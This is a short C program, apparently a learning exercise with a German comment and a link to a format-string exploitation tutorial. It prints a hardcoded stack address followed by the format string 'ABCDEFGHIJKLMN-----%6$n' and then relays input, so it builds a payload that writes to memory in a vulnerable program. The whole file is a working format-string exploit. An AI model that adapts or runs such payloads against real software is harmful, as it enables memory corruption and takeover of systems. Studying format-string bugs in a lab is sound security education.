format-exploit-w.c
#include <stdio.h> #include <stdlib.h> #include <stdint.h> static void print32(uint32_t i) { fwrite(&i, sizeof(uint32_t), 1, stdout); } int main(void) { // Zahl an Parametern: Wohin schreiben? // https://axcheron.github.io/exploit-101-format-strings/ print32(0xffffd40c); fputs("ABCDEFGHIJKLMN-----%6$n", stdout); putchar('\n'); fflush(stdout); int c; while (1) { c = getchar(); if (c == EOF) break; putchar(c); fflush(stdout); } }